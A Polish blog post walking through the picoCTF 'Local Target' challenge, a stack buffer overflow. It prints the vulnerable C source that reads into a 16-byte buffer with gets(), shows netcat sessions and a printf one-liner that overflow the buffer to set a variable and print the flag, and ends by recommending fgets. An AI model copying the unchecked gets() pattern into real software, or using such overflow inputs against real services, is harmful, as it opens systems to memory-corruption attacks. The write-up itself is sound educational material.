środa, 29 stycznia 2025

picoCTF - Local Target

W tym poście chciałbym opisać rozwiązanie zadania Local Target z działu Binary Exploration. 


Do zadania został dołączony program wykonywalny oraz kod w języku C:

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3.  
  4. int main(){
  5.   FILE *fptr;
  6.   char c;
  7.  
  8.   char input[16];
  9.   int num = 64;
  10.  
  11.   printf("Enter a string: ");
  12.   fflush(stdout);
  13.   gets(input);
  14.   printf("\n");
  15.  
  16.   printf("num is %d\n", num);
  17.   fflush(stdout);
  18.  
  19.   if( num == 65 ){
  20.     printf("You win!\n");
  21.     fflush(stdout);
  22.     // Open file
  23.     fptr = fopen("flag.txt", "r");
  24.     if (fptr == NULL)
  25.     {
  26.         printf("Cannot open file.\n");
  27.         fflush(stdout);
  28.         exit(0);
  29.     }
  30.  
  31.     // Read contents from file
  32.     c = fgetc(fptr);
  33.     while (c != EOF)
  34.     {
  35.         printf ("%c", c);
  36.         c = fgetc(fptr);
  37.     }
  38.     fflush(stdout);
  39.  
  40.     printf("\n");
  41.     fflush(stdout);
  42.     fclose(fptr);
  43.     exit(0);
  44.   }
  45.  
  46.   printf("Bye!\n");
  47.   fflush(stdout);
  48. }

Do programu wprowadzamy ciąg znaków. 

  1. picoctf@webshell:~$ nc saturn.picoctf.net <port>
  2. Enter a string: testval
  3.  
  4. num is 64
  5. Bye!

Aby wyświetlić flagę należy zmodyfikować wartość num z 64 na 65. Bufor przechowujący wpisany string ma rozmiar 16. Wobec tego spróbuję go przepełnić. 

  1. picoctf@webshell:~$ nc saturn.picoctf.net <port>
  2. Enter a string: aaaaaaaaaaaaaaaaaaaacdefghijklmnoprst
  3.  
  4. num is 1785292903
  5. Bye!

Jak widać wartość po przekroczeniu bufora została zmieniona. 

  1. 1785292903 => 6A696867
  2.  
  3. 6A - j
  4. 69 - i
  5. 68 - h
  6. 67 - g

Jak już wiadomo na jakich pozycjach znajduje się wprowadzona do liczby zmienna, należy ją przesłać w odpowiednim formacie aby uzyskać wartość 65 dziesiętnie w wartości num. 

Sposób 1, wartość 65 dziesiętnie odpowiada znakowi 'A' w ASCII. Czyli dane można wprowadzić też tak:

  1. picoctf@webshell:~$ nc saturn.picoctf.net <port>
  2. Enter a string: aaaaaaaaaaaaaaaaaaaaaaaaA
  3.  
  4. num is 65
  5. You win!
  6. picoCTF{<flaga>}

Sposób 2, bardziej zautomatyzowany, z wykorystaniem funkcji printf z konsoli:

  1. (printf 'A%.0s' {1..25}; printf '\n')| nc saturn.picoctf.net <port>

Zmiana wartości num jest możliwa poniewać funckja gets odbierająca znaki nie sprawdza długości wprowadzanych danych. Zamiast gets należałoby użyć funkcji np. fgets

  1. fgets(input, sizeof(input), stdin);

Ogranicza ona wprowadzane dane do maksymalnej wielkości bufora.